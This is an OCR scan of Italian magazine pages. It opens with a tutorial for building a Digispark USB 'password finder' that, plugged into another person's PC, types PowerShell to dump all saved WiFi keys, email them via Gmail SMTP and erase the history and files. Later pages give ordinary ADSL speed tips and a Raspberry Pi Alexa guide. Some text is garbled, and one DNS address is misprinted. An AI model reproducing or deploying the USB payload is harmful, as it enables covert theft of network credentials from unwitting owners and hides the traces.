githubusercontent.com/digistump/arduino-boards-index/master/package_ definizioni delle schede Digistump, che contengono gli strumenti per stabilire 
digistump_index.json e confermiamo con Ok. Da Strumenti, Scheda clic- una connessione tra l’IDE e la nostra schedina USB. Al termine clicchiamo 
chiamo su Gestore schede e nella nuova finestra digitiamo Digistump. su Chiudi senza però uscire dal software Arduino. 





|| Lo scova password WiFi USB | Fai date | 


PREPARIAMO L'ACCOUNT GMAIL 


In questo tutorial stiamo vedendo come realizzare una speciale chiavetta 

USB in grado di inviare al nostro indirizzo di posta elettronica tutte le 

credenziali WiFi impostate sul computer nel quale è inserita. 
Per farlo è necessario abilitare /ac- 
cesso alle app meno sicure sull'ac- 
count di posta che dovrà ricevere le 
email con le password. Così facen- 
do, però, si abbassa drasticamente 
la sicurezza della casella di posta 
elettronica ed è quindi fortemente 
consigliabile utilizzare un account 
email appositamente realizzato per 





Accesso app meno sicure 


lo scopo e non quello personale. Una volta realizzato un account ad 
hoc quindi, digitiamo https://myaccount.google.com/ nel browser e 
poi clicchiamo sul menu Sicurezza. Scorriamo la pagina fino a trovare 
la sezione Accesso app meno sicure e clicchiamo su Attiva accesso 
(sconsigliato), quindi sullo slider per abilitare l'accesso alle app meno 
sicure. Adesso possiamo anche effettuare il logout dalla gestione account. 





G Tutto pronto per la chiavetta 


Configurato l’ambiente, siamo pronti a modificare il programma che utilizzeremo per recuperare le password WiFi 
dal computer. Stai tranquillo: questa procedura finora descritta dovrà essere effettuare soltanto la prima volta. 





Copiamo sul desktop wifi_pass_mailer_ESIX.ino presente nella 

cartella Sorgenti\wifi_pass_mailer_ESIX del nostro supporto e 
facciamoci doppio clic, ma prima facciamo OK nella finestra che compa- 
re. Troviamo il rigo con DigiKeyboard.print(F(“SSMTPInfo... e sostituia- 
mo le scritte TUA EMAIL con l'indirizzo email al quale spedire le password 
e TUA PASSWORD con la password dell'account gmail creato all'uopo 
(vedi box Prepariamo l'account Gmail). Sostituiamo con la stessa email 





Modifichiamo il programma 
1 


anche le voci tra virgolette dei campi: $ReportEmail.From = ‘TUA EMAIL’; 


$ReportEmail.To.Add(‘EMAIL DOVE VUOI RICEVERE LE PASSWORD'). 


NetworkCredential(* 
tEmail.From = * 





a RONEDDIER LEO 
Ora possiamo inserire la chiavetta nella nostra porta USB e 
attendiamo che il computer la riconosca. Clicchiamo su Stru- 
menti per selezionare il dispositivo per il quale compilare, quindi clic- 
chiamo su Scheda e selezioniamo Digispark (Default — 16.5 mhz). 
Clicchiamo sull'icona con la freccia verso destra visibile in alto sotto i 
menu e attendiamo che nel riquadro in basso appaia la scritta P/ug in 
device now... 
Quando accade, colleghiamo la chiavetta e non appena riceviamo il 
messaggio Micronucleus done... e scolleghiamola. 





ECCO IN FUNZIONE 

LA CHIAVETTA SCOVA 
PASSWORD! Dopo aver 
PICRELGICAFIEEISEl 
pennetta copiando su di essa 
il programma che recupera 
REANO, ANTIIEI EIRENER 
un indirizzo email, possiamo 
passare all'azione. Rechiamoci 
su un altro PC e inseriamo 

la chiavetta “truccata” 

in una porta USB. Dopo 
CIEGEIRE GEA) 
automatico il software spia 
inviando all'email specificata 
le password WiFi del computer 
EUERTE IA] ESE TERERE O 
25 secondi e il gioco è fatto! 
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| Faidate | Lo scova password Wifi USB | 





COME FUNZIONA IL PROGRAMMA CHE SPIA LE PASSWORD WIFI? 


Programmare un Arduino o una qualunque 
altra scheda basata su di esso è abbastanza 
siea]e]l[«=MM{MITale[VE:Te[e{[oNe|No]cololt=lae]aa}=VA(0]2l= 
Wiring supporta la definizione di costanti e 
variabili oltre all'utilizzo di librerie esterne e 
funzioni. 

Il programma ha una struttura rigida: prima 
vengono inserite le variabili e le costanti, poi le 
funzioni richiamabili, quindi il setupe infine il 
loop. L'inizio e la fine delle funzioni, del setup e 
(e [2N[elo]eX=E1=le]al-\CoXof: No} ](-ialSiNo|e-11(=M PIE ]20]0) 
uno sguardo un po' più da vicino al program- 
ma che.stiamo caricando sulla chiavetta USB 
Digispark. 


Questo rigo carica la libreria KeyboardES.h, 
al cui interno è contenuta la mappatura dei 
tasti della tastiera italiana. Verrà utilizzata dal 
comando DigiKeyboard.sendKeyStroke() per 
simulare la pressione di un tasto 


#include “KeyboardESs.h” 


Tutti i programmi Arduino iniziano con questo 
rigo. È con void setup() che si possono impo- 
stare le porte della scheda perché agiscano 
da input o output. Può contenere anche dei 
comandi che vengono eseguiti una sola volta, 
non appena si collega la scheda 


void setup() { 





\V{e][e f[elo]oJ@}<o}a}s=iat=0 (1a C0(=01a\(0)ga0}-v410]210=913 
istruzioni relative all'esecuzione del program- 
ma da caricare sulla scheda. Tutto ciò che è 
contenuto in questa sezione viene eseguito 
in loop, ovvero quando si arriva alla fine il 
[o)goJelg=lna]agt=Ne[<olag]ial«t= 


void loop() { 


Quest'istruzione invia al sistema un tasto, 
ovvero simula la pressione di un tasto o di 
un gruppo di tasti. 


DigiKeyboard.sendKeyStroke(0); 


Quest'istruzione inserisce il ritardo specificato 
tra parentesi in millisecondi tra l'invio di un 
tasto e l'altro 


DigiKeyboard.delay(1000); 
DigiKeyboard. sendKeyStroke 
(KEY _X, MOD GUI LEFT); 


DigiKeyboard.delay(1000); 
DigiKeyboard.sendKeyStroke(KEY A); 
DigiKeyboard.delay(1000); 
DigiKeyboard.sendKeyStroke 
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(KEY_S, MOD ALT LEFT); 





DigiKeyboard.delay(1000); 


Il comando DigiKeyboard.print permette di 
‘stampare’ qualcosa, cioè permette di pren- 
dere dei caratteri e mostrarli a video, creare 
un file o inviarli alla stampante. Nel nostro 
caso la stringa “Out-File wifi.txt" indica che 
con i caratteri in output verrà creato un file 
laalt:1nat:\©AN11M 94! 


DigiKeyboard.print(F(“(netsh wlan 
show profiles) | Select-String 
‘\:(.+)$" | %{$name=$_.Matches. 
Groups[1].Value.Trim(); $_} 
%{(netsh wlan show profile name=$name 
| Out-File wifi.txt; 
exit”)); 


key=clear)} 


DigiKeyboard. sendKeyStroke 
(KEY_ ENTER); 

DigiKeyboard.delay(3000); 
DigiKeyboard. sendKeyStroke(KEY_X, 

MOD_GUI LEFT); 
DigiKeyboard.delay(1000); 
DigiKeyboard.sendKeyStroke(KEY_A); 
DigiKeyboard.delay(1000); 
DigiKeyboard. sendKeyStroke(KEY_S, 

MOD_ALT LEFT); 
DigiKeyboard.delay(1000); 





Queste istruzioni permettono di aprire una 
loloJat=Ro{{<o]se\Via]le:YA[0]2(-<0]20\EX=1AV/=ido [PPC 
elettronica Gmail, si inviano nome utente 
(l'indirizzo di posta elettronica) e la password, 
siscrive”iltesto dell'email, si allega ilfilewifi. 
txt ela si invia 


DigiKeyboard.print(F(“$SMTPInfo = 
New-Object Net.Mail.SmtpClient(‘smtp. 
gmail.com’, 587); $SMTPInfo.EnableSsl 
= $true; $SMTPInfo.Credentials = New- 

Object System.Net.NetworkCredential 
(‘Indirizzodiposta’, ‘passworddiposta’); 
$ReportEmail = New-Object System.Net. 
Mail.MailMessage; $ReportEmail.From 

= ‘ Indirizzodiposta’'; $ReportEmail. 
To.Add(‘Indirizzodiposta’); 
$ReportEmail.Subject = ‘Ricerca Password 
WiFi :)'; $ReportEmail.Body = ‘Il 

file con le password è in allegato. ‘; 
$ReportEmail.Attachments.Add( ‘wifi. 
txt’); $SMTPInfo.Send($ReportEmail); 
exit”)); 

DigiKeyboard. sendKeyStroke(KEY_ ENTER); 

DigiKeyboard.delay(1000); 

DigiKeyboard. sendKeyStroke(KEY_X, 

MOD_GUI LEFT); 

DigiKeyboard.delay(1000); 

DigiKeyboard.sendKeyStroke(KEY_A); 











DigiKeyboard.delay(1000); 
DigiKeyboard.sendKeyStroke(KEY_S, 


MOD ALT LEFT); 
DigiKeyboard.delay(1000); 





Questa linea di codice elimina la cronistoria 
dei file salvati, così non resterà nessuna traccia 
della creazione del file wifi.txt 


DigiKeyboard.print(F(“del 
(Get-PSReadlineOption). 
HistorySavePath;exit")); 
DigiKeyboard. sendKeyStroke 
(KEY ENTER); 
DigiKeyboard.delay(1000); 


DigiKeyboard.sendKeyStroke 

(KEY_R, MOD GUI LEFT); 
DigiKeyboard.delay(1000); 
DigiKeyboard.print(“cmd”); 


DigiKeyboard. sendKeyStroke 
(KEY ENTER); 
DigiKeyboard.delay(1000); 


Qui ilfile wifi.txt, creato in precedenza, viene 
cancellato dal disco rigido per non lasciare 
tracce fisiche sul computer 


DigiKeyboard.print(F(“del wifi. 


txt")); 

DigiKeyboard.sendKeyStroke 

(KEY_ENTER); 
DigiKeyboard.delay(100); 
DigiKeyboard.print(F(“exit")); 
DigiKeyboard.sendKeyStroke 

(KEY_ENTER); 
for(;;){ /*empty*/ } 


E ADRES. 
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lgiorno d'oggi siamo tutti connessi e ovun- 
As: Passiamo tutto il giorno collegati ad 
nternet, che sia con lo smartphone o col 

PC. Capita però che la velocità di connessione 
non sia così buona e che a volte diminuisce 
così tanto da non permetterci la visione fluida 
di YouTube o Netflix. Ciò accade soprattutto in 
quelle case che non sono ancora state raggiunte 


PROCESSI IN BACKGROUND? ADDIO! 


dalla fibra ottica. Ma non è solo questione di 
connettività; la lentezza nella navigazione deriva 
anche da software che appesantisce il PC, virus 
o errate configurazioni di sistema. 

Ed ecco che abbiamo raccolto per te una lista 
ditrucchiin grado di ribaltare completamente 
la situazione, permettendo a chi non ha una 
connessione super veloce di raggiungere ri- 


Trucchi per una 
ADSI: col turbo! 


Download bloccati? Navigazione 
lumaca? Streaming a singhiozzo? 
Segui i nostri consigli e, senza 
installare software, tornerai a volare 


sultati mai raggiunti prima. Tali trucchi sono 
abbastanza semplici e non prevedono alcuna 
conoscenza tecnica, ma basta smanettare conle 
impostazioni di Windows. Possiamo inoltre te- 
stare imiglioramenti apportati conil tool online 
gratuito di speedtest: http://www.speedtest.net/ 
it Detto ciò, andiamo a scoprire come navigare 
più veloce sul Web! 


Ci sono app che rimangono aperte in background e che possono, 


non soltanto diminuire la durata della batteria del proprio por- | 


tatile, ma anche utilizzare la rete Internet e consumarci preziosa 
banda. Per evitare che queste app si avviino da sole, rechiamoci 
in Impostazioni/Privacy e, dal menu di sinistra, selezioniamo la 
voce App in background. A questo punto ci conviene disattivare 
tutte quelle app che consumano risorse inutili. Ad esempio, per- 
ché lasciare la Calcolatrice attiva come processo in background? 
Selezioniamo tutte quelle che non devono funzionare quando 
non le attiviamo volutamente e spostiamo l'interruttore su Di- 


sattivato. Possiamo anche togliere la spunta dalla voce Consenti 


l'esecuzione delle app in background per chiuderle tutte ed 
evitare che si avviino automaticamente. 


(@)1t[2g]P44:p4(0]e{=Mf=(@=]0]1(0, 
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NON SIAMO I SERVER DI NESSUNO! 


Se si preferisce non disattivare Windows Update, si può fare in modo 
che quest'ultimo non rallenti la connessione ad Internet, disattivan- 
do il“seeding”che mette in comunicazione peer-to-peer i computer 
di tutto il mondo per un recapito più rapido degli aggiornamenti 
(sfruttando anche il nostro e consumando la nostra banda!). Per 
evitare che ciò accada, rechiamoci in Aggiornamento e sicurezza/ 
Opzioni avanzate/Ottimizzazione recapito e impostiamo su Off la 
voce Consenti download da altri PC. In questo modo il PC non invierà 
parti di aggiornamenti Windows scaricati in precedenza e app ai PC 
sud nella rete locale o in Internet. 


| Turbo ADSL | Speciale Trucchi | 





DISABILITIAMO WINDOWS UPDATE 


Può capitare di stare davanti al PC e notare, da un momento 
all’altro, la velocità Internet rallentare bruscamente. Molto pro- 
babilmente, il sistema operativo sta scaricando in background 
gli aggiornamenti di sistema che, per la maggior parte delle volte 
risultano pesanti e rallentano, oltre che la connessione, anche 
il PC. Per ovviare a questo inconveniente possiamo disabilitare 
Windows Update. Ecco come: clicchiamo sul pulsante Start, digi- 
tiamo la parola Services e selezioniamola. Nella nuova schermata 
scorriamo in basso e facciamo doppio clic sulla voce Windows 
Update. Notiamo, alla voce Stato del servizio, che Windows 
Update è in esecuzione. Clicchiamo sul pulsante Interrompi e, 
in Tipo di avvio impostiamo Disabilitato. Clicchiamo su Applica 
ed infine OK. Ripetiamo gli stessi passaggi per riattivare Windows 
Update, qualora lo si voglia fare, ma questa volta cliccando su 
Avvia e impostando Manuale in Tipo di avvio. In ogni caso questo 
metodo non è sempre consigliato, in quanto gli aggiornamenti 
di sistema apportano migliorie al sistema operativo. 








NIENTE APP AVVIATE IN AUTOMATICO 
DA WINDOWS 


Quando accendiamo il PC, ci sono alcune app che Windows avvia 
automaticamente. Alcune sono indispensabili per un corretto funzio- 
namento del computer, altre, forse un po' meno... Per avviare solo le 
app necessarie, premiamo Ctrl-Alt-Canc e, dal menu che compare, 
rechiamoci in Gestione attività. Nella nuova schermata, individuiamo 
iltab Avvio per vedere l'elenco delle app in questione. Selezioniamo 
quelle che non vogliamo si avviino in automatico e in basso a destra 
clicchiamo su Disabilita. Disattivare con attenzione l'avvio di queste 
app è importante perché, ad esempio, se disabilitiamo l'antivirus, 
avremo più memoria libera nel PC e di sicuro non avremmo rallenta- 
menti derivanti dal software, ma di contro non saremo più protetti 
da nessuna minaccia informatica! 
File Opzioni Visualizza 


A 
Mome Autore 


CCleaner 
 Glary Utilities StartupManager  Giarysoft Ltd 
T) Google Update Core Google Inc. 
<A NVIDIA Update Backend NVIDIA Corporation 


Impatto di avvio 


Piriform Software Ltd 


Nessuna 
Nessuna 
Media 
Media 
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STOP ALLA LIMITAZIONE DEL SERVIZIO Q0S 


Windows 10 riserva il 20% della sua banda per alcuni servizi interni 


. comeWindows Update. Per evitare questo inutile collo di bottiglia e 


godersi tutta la banda per navigare in Internet, clicchiamo col pulsante 
destro del mouse sul pulsante Start e selezioniamo Esegui. A que- 
sto punto digitiamo gpedit. 
msc e diamo l'ok. Si apre così 
la schermata Group Policy. 
Andiamo su questo percor- 
so: Computer Configuration/ 
Administrative Templates/ 
Network/QoS Packet Schedu- 
ler e facciamo doppio clic su 
Limitreservable bandwidth. 
Nella nuova finestra che ap- 
pare selezioniamo Enabled 
e in Bandwidth limitimpostiamo il valore 0. Clicchiamo infine su OK. 
Se, invece, dopo aver digitato gpedit.msc non si avvia l'applicazione, 
scarichiamola da questo sito https://www.itechtics.com/enable- 
gpedit-windows-10-home/, spostandoci verso metà pagina dove è 
presente il link al download del file .ZIP. Se preferisci la pappa pronta, 
vai nel nostro supporto e preleva il file direttamente da lì. Estraiamo 
il tutto utilizzando 7-Zip (https://www.7-zip.org/) e facciamo doppio 
clic sul file di setup. Se abbiamo un OS a 32 bit riavviamo il sistema e 
ritentiamo l'apertura della cartella Group Policy mentre, se abbiamo un 
OS a 64 bit, apriamo Esplora file, andiamo nella cartella C:\Windows\ 
SysWOW64 e da questa selezioniamo le seguenti cartelle: GroupPolicy 
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. eGroupPolicyUsers piùil file gpedit.msce tasto destro/copia. Infine 


andiamo poi nella cartella C:\Windows\System32 e incolliamo (tasto 
destro/incolla) al suo interno gli elementi copiati. Riavviamo il sistema 
e proviamo a riaprire la cartella Group Policy. 


I DNS CHE METTONO IL TURBO 


Quando si digita un indirizzo Internet, il nostro browser passa 
prima da un server DNS che ha lo scopo di fornici l'indirizzo IP 
della macchina che vogliamo visitare. È un po'come quando noi, 

alla ricerca di un numero ti telefo- Ù 
no di un amico, “interroghiamo” 
l'elenco telefonico che ci restituisce 
il numero esatto a partire da nome 
e cognome. Più è veloce la ricerca 
nell'elenco, prima ci sarà fornito il 
risultato. L'analogia è valida anche 
sul Web... ed ecco l’importanza di 
avere un server DNS superveloce. 
Il nostro consiglio è quello di usa- 
re il DNS di Cloudflare che, oltre 
ad essere il più veloce del Web, 
ripone particolare attenzione al tema della privacy. Andiamo 
su Pannello di controllo/Rete e Internet/Centro connessioni 
di rete e condivisione e selezioniamo la rete alla quale siamo 
connessi. Clicchiamo ora su Proprietà e selezioniamo l'opzione 
Protocollo Internet versione 4 (TCP/IPv4). Nella nuova scher- 
mata che appare spuntiamo la voce Utilizza i seguenti indirizzi | 
server DNS: per impostare i DNS di Cloudflare si deve scrivere, | 
come DNS primario: 1.1.7.1, mentre come secondario 8.8.8.8 | 
possiamo usare quello di Google. Alla fine, clicchiamo su OK e 
poi di nuovo OK e chiudiamo le schede. 
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FLUSH DNS, RALLENTA 
UN ATTIMO PER OTTIMIZZARE 


Il PC mantiene nella cache Resolver DNS (una particolare por- 
zione di memoria) l'elenco dei siti navigati e dei relativi indirizzi 
IP aperti frequentemente... al fine di velocizzare la navigazione. 
Quando i siti che visitiamo però, cambino indirizzo IP perché, 
ad esempio, si trasferiscono su altri hoster (il caso più comune 
è quello dei siti di film in streaming), è necessario aggiornare 
questi dati liberandosi della cache obsoleta. 

Questo metodo può inizialmente rallentare la connessione, 
perché il PC avrà bisogno di cercare i DNS per ogni sito, ma dopo 
poco Internet diventerà più veloce e con tutti i DNS aggiornati. 
Per fare questa pulizia, rechiamoci su Start e cerchiamo Prompt 
dei comandi, selezioniamolo col tasto destro del mouse e clicchia- 
mo su Esegui come amministratore. A questo punto eseguiamo 
il comando ipconfig /flushdns e premiamo il tasto Invio. 


iS Amministratore: Prompt dei comandi 





CHIUDIAMO | PROGRAMMI INUTILIZZATI 


Stare al PC con mille programmi aperti comporta non solo una len- 
tezza in termini di prestazioni del sistema, ma soprattutto anche di 
Internet. La maggior parte dei programmi infatti, si connettono ad 
Internet per svariati motivi: sincronizzazione, controllo aggiornamen- 
ti, ecc. Andiamo a chiudere tutti quelli che non ci servono, lasciando 
in esecuzione soltanto i programmi che utilizziamo. Possiamo aiutarci 
aprendo la finestra di Gestione attività, premendo sulla tastiera la 
combinazione di tasti Ctrl-Alt-Canc e selezionando poi Gestione 
attività. Attenzione però: chiudiamo soltanto i programmi a noi 
familiari, o rischiamo di combinare qualche guaio! 


fiji Gestione attività 
File Opzioni Visualizza 
Processi Prestazioni Cronologia applicazioni Avvio Utenti Dettagli Servizi 
Nome Motore GPU 
Fri System 
{Î) Microsott Word (32 bit) 
> |L) Host servizio: COPUserSvc_28b69 
(RI) Processo host per attività di Win... 
Ti) Antimalware Service Executable 
Jfj) Gestione attività 
& Microsoft Windows Search Inde... 
dà Microsoft Windows Search Fitte.... 
ED] Host esperienza shell di Windows 
EN Cortana (2) 
{7 Runtime Broker 
Il Schermata di blocco predefinita... 
ET Runtime Broker 
[A Foto 


© Google Chrome (12) 





GPUO-3D 
(1 interrupt sistema 
TE] COM Surrogate 
1 COM Surrogate 
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ELIMINA FILE 
TEMPORANEI 

E CACHE DAL 
BROWSER INTERNET 
Periodicamente consigliamo di 
eseguire una pulizia dei browser 
Internet per eliminare i file tempo- 
ranei che, col passare del tempo, 
portano ad una lentezza sia in 
termini di connessione Internet 
che in termini di prestazioni di 
sistema. Per ovviare a ciò, pos- 
siamo scaricare il tool di pulizia 
gratuito chiamato CCleaner (ht- 
tps://www.ccleaner.com/it-it/ 
ccleaner/download) o installarlo 
direttamente dal nostro supporto. 
Una volta avviato selezioniamo le 
caselle sulla destra così da sce- 
gliere cosa eliminare. Nelle voci riguardanti i browser, è consigliato 
selezionare tutte le caselle tranne quelle inerenti alle password 
salvate. Infine clicchiamo su Avvia pulizia. 


Indirizzi web digitati di recent: 
Informazioni moduli salvate 
Password salvate 
Schede salvate 
fe) Internet Explorer 
v. Fie Temporanei Internet 
+ Cronologia 
+ Cookie 
4 Indirizzi web digitati di recent 
+ File Index.dat 
+ Ultima collocazione download 
+ Cronologia autocompletamen 
+. Password salvate 
Pil Esplora Risorse 
+4 Documenti recenti 
+ Esegui (nel Menu Start) 
+ Altri MRU di Esplora Risorse 
+ Cache anteprime 
v Jump istin barra processi 

























Estensioni 





AdBlock 


O 


L'estensione più popolare di Chrome, con oltre 60 
milioni di utenti! Blocca la pubblicità in tutto il 
web 


Dettagli Rimuovi 


& Turn Off the Lights 
0 L'intera pagina si oscurerà, così potrai guardare 
video come se fossi al cinema. Funziona con 


YouTube” e simili. 


‘9 
i lO r=-'eemt@@m- (commesso ces" 


DISINSTALLIAMO LE ESTENSIONI 
SPAZZATURA 


AI giorno d'oggi esistono migliaia di estensioni pronte per es- 
sere installate sul proprio browser per migliorare l’esperienza di 
navigazione. Talvolta però, è utile fare pulizia cancellando quelle 
che non ci servono più o quelle che talvolta si “insediano” sub- 
dolamente durante la fase di installazione di altri software. Da 
Chrome clicchiamo sui tre puntini in alto a destra e selezioniamo | 
Altri strumenti/Estensioni e clicchiamo sulla scritta Rimuovi | 
inerente all'estensione che vogliamo eliminare e attendiamo la 
fine dell'operazione. Su Firefox invece rechiamoci su Componenti 
aggiuntivi/Estensioni o Temi ed infine su Rimuovi. 


Dettagli Rimuovi 








amazon 


e _ 


ESTENDIAMO IL SEGNALE WIRELESS 


Come è facile intuire, la qualità del segnale Wi-Fi influenza la velocità di connes- 
sione ad Internet. Se abbiamo il modem in una stanza e il PC in un'altra lontana, 
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Tenda PHS Powerline Wifi Extender Amplificatore Kit 
1000 Mbps 3 Porta Ethemet, Plug&Play, per Streaming 
video HO / 30 / 4 e giochi online 


ste 6 recanciari cia 


1% 
Poeti | prezzi maredono TA 
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Taglio Av1000 
Ar1600 
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DISPOSITIVI ELETTRONICI 
NELLE VICINANZE? 
MEGLIO SE SPENTI 


Spegniamo tutti quei dispositivi elet- 
tronici connessi ad Internetma che non 
usiamo, come ad esempio tablet, smar- 
tphone, PCo hard disk di rete. Questi in- 
fatti, potrebbero lavorare in background 
scaricando dati, congestionando la rete 
e rallentando così il PC sul quale stiamo 
navigando. Se non possiamo per qualche 
motivo spegnere tali dispositivi, pos- 
siamo sempre impostare la Modalità 
Aereo, che non permette più al device 
di ricevere chiamate, SMS o collegarsi ad 
Internet. Selezionando ancora una volta 
quest'ultima modalità, essa di disattiverà 
portando il dispositivo alla normalità. 





UNA SCANSIONE ANTIVIRALE 


NON FA MAI MALE! 


Se ci accorgiamo che da un giorno all'altro la nostra velocità 
di rete è diminuita, molto probabilmente il nostro PCha bec- 
cato un virus. Scovarlo e successivamente eliminarlo, non 
sarà complicato. Innanzitutto facciamo una scansione con 
Windows Defender cliccando sulla relativa icona in basso 
a destra di Windows e poi su Avvia analisi. Attendiamo la 
fine del processo e, se trovata la minaccia, selezioniamola 
ed eliminiamola. Se non ci fidiamo di Defender possiamo 
farci aiutarci da Avast (che trovi sempre nel nostro supporto 
oppure puntando il browser su https://www.avast.com/ 


it-it/index#pc). 
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TP-LINK' 
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CAMBIAMO IL CANALE 
RADIO DEI ROUTER WI-FI 


| router di nuova generazione sono dotati di 
due bande di frequenza per la trasmissione 
del segnale Wi-Fi: una a 2,4 GHz - la banda 
standard per le comunicazioni wireless - e 
l’altra a 5 GHz che garantisce download più 
veloci. Inoltre, attivando la banda di trasmis- 
sione a 5 GHz, le interferenze causate da 
altri dispositivi elettronici e wireless saranno 
ridotte. Ad esempio, se abbiamo un modem 
TP-LINK colleghiamoci da browser alla pagina 
192.168.1.1 e rechiamoci nella sezione Quick 
Setup. Assicuriamoci infine che sia spuntata 
la voce 5GHz e clicchiamo su Next per con- 
cludere l'operazione. 


il segnale Wi-Fi non raggiungerà il PC con la sua massima potenza. In questo 
caso ci vengono in aiuto dei nuovi dispositivi ibridi: un mix tra Powerline e Wi-Fi 
extender, Si tratta di device che, collegati ad una presa di corrente, permettono 
di sfruttare l'impianto elettrico di casa per portate la rete Internet da una stanza 
all'altra. Inoltre, sono in grado di“duplicare”il segnale Wi-Fi così da averne uno 
a piena potenza in ogni stanza della casa. 

Il modello che consigliamo, visto il buon rapporto/qualità prezzo, è il Tenda 
disponibile su Amazon al costo di 48,99€. Vai a darci uno sguardo puntando il 
browser su https://amzn.to/2Csw8FF. 


LA CONNESSIONE PIÙ 
VELOCE RESTA SEMPRE 
QUELLA CABLATA 


Se si utilizza una connessione wireless, 
molte volte si ha lo svantaggio di incorrere 
in molti problemi relativi alla stabilità e alla 
qualità del segnale Wi-Fi. Per migliorare 
la velocità della rete e se ne abbiamo la 
possibilità, è sempre preferibile collegarci 
al router utilizzando un cavo ethernet, 
ovvero la classica connessione cablata: 
più scomoda, ma più stabile e veloce. 
Per far ciò, procuriamoci un cavo di re- 
te e inseriamo un'estremità nella porta 
del modem identificata dalla voce LAN 
1 e l'altra estremità nella porta di rete 
solitamente posta sul retro del case del 
computer. A questo punto attendiamo 
che il PC si connetta ad Internet e siamo 
così pronti per navigare. 
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L'assistente 
0cale fai-da-te! 











Trasforma il tuo Raspberry Pi 


Cosa ci 
occorre 


SISTEMA OPERATIVO 


RASPBIANOS 


Quanto costa: Gratis 








itc 


Sito Internet: 
http://bit.ly/2RKWIAA 


TOOL DI INSTALLAZIONE 
WIN32 DISK 
IMAGER 


Quanto così 


ta: Gratuito 





QUE 
SPBERRY PI 
SCEGLIERE 


Va bene acquistare 
qualunque versione di 
Raspberry Pi. Se non ne 
hai uno, ti consigliamo 
l’ultima versione uscita 
(e più potente), deno- 
minata Raspberry Pi 
3B+, acquistabile dal 
sito Amazon per 39,10€ 
cliccando su https:// 
amzn.to/2AYSHSt. 

Altri componenti utili, 
anche se facoltativi e 
da abbinare al Pi 3B+ 
sono la ventola, un 
case, i dissipatori e 
l'alimentatore, acqui- 
stabili dal seguente 
link e al prezzo di 
15,99€: https://amzn. 
to/2AVPAL6. 








nel nuovo smart speaker targato 
Amazon. Si fa COSÌ... 


egli ultimi mesi dello scorso anno è appro- 

data nel Bel Paese, Alexa, la nota assistente 

vocale a cui il gruppo Amazon ha dato 
vita. L'azienda stessa nel 2015 ha introdotto la 
categoria degli smart-speaker, altoparlanti da 
collegare alla rete wireless che si controllano 
conla voce grazie ad un assistente digitale, un 
software capace di capire il linguaggio umano, 
chiamata Alexa. Essa rappresenta la mente dei 
dispositivi Echo ed arriva in Italia insieme a 
quattro dispositivi, chiamati Amazon Echo, 
Echo Plus, Echo Dot ed Echo Spot. Ciò che tale 
assistente vocale può fare è simile a quello dei 
suoi contendenti, come Cortana (Microsoft) o 
Google Home, come ad esempio accendere le 
lucidi casa, gestire le prese smart, avviare la mu- 
sica, rispondere alle classiche domande e molto 
altro ancora. Il Web è pieno di video d'esempi. 
In questo spazio andiamo a scoprire come ri- 
sparmiare denaro evitando di acquistare lo 
smart-speaker installando Alexa sul proprio 
Raspberry Pi e, tramite l'utilizzo di un micro- 
fono, impartire ordini proprio come se fosse il 
dispositivo originale di Amazon, ma con una 
grande differenza: il tutto risulterà totalmente 
gratuito. Detto ciò procuriamoci il Raspberry 
Pi, un PC ed iniziamo subito! 


Una piccola ma grintosa cassa per Raspberry 
Pi che consigliamo è la Anker SoundCore 
Mini (https://amzn.to/2CWhrf)). Essendo 
compatibile con lo standard senza 

fili bluetooth, non sarà necessario 
usare cavi e cavetti per collegare 

la cassa al Raspberry. Una volta 

fatto il pairing tra i dispositivi, il 

Raspy sarà dotato di una cassa 

audio per sentire le risposte che 
ci fornirà Alexa... e non solo! 





| L'assistente vocale fai-da-te! | Fai da te | 
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4a Download di Raspbian 


Scarichiamo la versione più recente del 
sistema operativo da qui: https://www. 
raspberrypi.org/downloads/raspbian/, cliccan- 
do su Download ZIP/Raspbian Stretch with 
desktop and recommended software. Atten- 
diamo ora, la fine del download del file .img (da 
estrarre con 7-zip: https://www.7-zip.org/). Per 
comodità sul nostro supporto trovi il file bello e 
pronto da installare. 













da Setup - Win} Dtimago 
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a Il tool di “installazione” 
Per installare RaspbianOS sulla microSD 
ss. usiamo il software gratuito Win32 Disk Ima- 
gerche trovi sul supporto o scaricabile direttamen- 
te da https://sourceforge.net/projects/win32diski- 
mager/. Avviamo l'installazione con un doppio click 
sul file EXE: clicchiamo su / accept the agreement, 
tante volte Mextfino a giungere al pulsante /nstall. 
Attendiamo qualche secondo e clicchiamo su Finish: 
ora il programma è pronto all'uso. 





Utilità&Programm. 
LI Installiamo Raspbian OS sulla SD 


Per pae dialogare con Alexa, dobbiamo installare sul Raspberry Pi, il sistema operativo Raspbian 
to per l’utilizzo dell'assistente vocale. Vediamo passo dopo passo come procedere. 
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a © Copia la Raspbian sulla SD 


Inseriamo la microSD nel computer, doppio 

sis. Clic su Questo PC e individuiamo la lettera 
assegnatagli da Windows (nel nostro caso E). Apria- 
mo Win32 Disk Imager. In Dispositivo selezioniamo 
l'unità della MicroSD (£:), in File immagine clicchia- 
mo il file /MG di Raspbian (estratto al Passo 1) e 
clicchiamo su Scrivi. Mi raccomando, presta atten- 
zione a selezionare la giusta unità perché tutti i file 
presenti nella microSD verranno cancellati! 


GI nostro mini PC va configurato 


Dopo aver caricato RaspbianOS nella microSD € 
Colleghiamo inoltre, una tastiera e un mouse USB per muoverci agevolmente sul nostro nuovo mini PC. 


Set Country 

Enter the details of your location. This is used to set the language, 
time zone, keyboard and other intematonal settings. 

Country Italy 
Language Italian 


Timezone Rome 


Change Password 


The default ‘pi' user account currentiy has the password ‘raspbeny 
Itis strongly recommended that you change this to a different 
password that only you know: 


Enter new password. 


Confirm new password 


a | Lingua e password 


1 | Acceso il Raspberry, dopo alcuni processi che 

saga avvengono automaticamente sullo schermo 
della TV, compare la schermata di benvenuto. Clic- 
chiamo su Next, dopodiché selezioniamo il Paese di 
provenienza, la Lingua e poi su Next Nella schermata 
successiva poi, scegliamo se inserire una password al 
sistema oppure no, cliccando ancora su Next. 


Select WiFi Network 
Select your WiFi network from the list 


The operating system and applications will now be checked and 
updated if necessary. This may involve a large download 


Press "Next to check and update software, or ‘Skip' to continue 
without checking 


a Wi-Fi e auto-update 
2 | Selezioniamo una rete Wi-Fi e digitiamo la 
ae. password così da far connettere il nostro 
Raspy alla rete. Clicchiamo su Mextper installare gli 
aggiornamenti di sistema. Dopo aver concluso l’ag- 
giornamento, il sistema mostrerà a schermo l’avvi- 
so di avvenuta operazione con successo. Clicchiamo 
infine su OK al messaggio System is up to date. 


andiamo ad inserire quest’ultima nel Raspy collegato alla TV. 


Update Software 
The operating system and applications will now be checked and 
Updated if necessary. This may involve a large download 


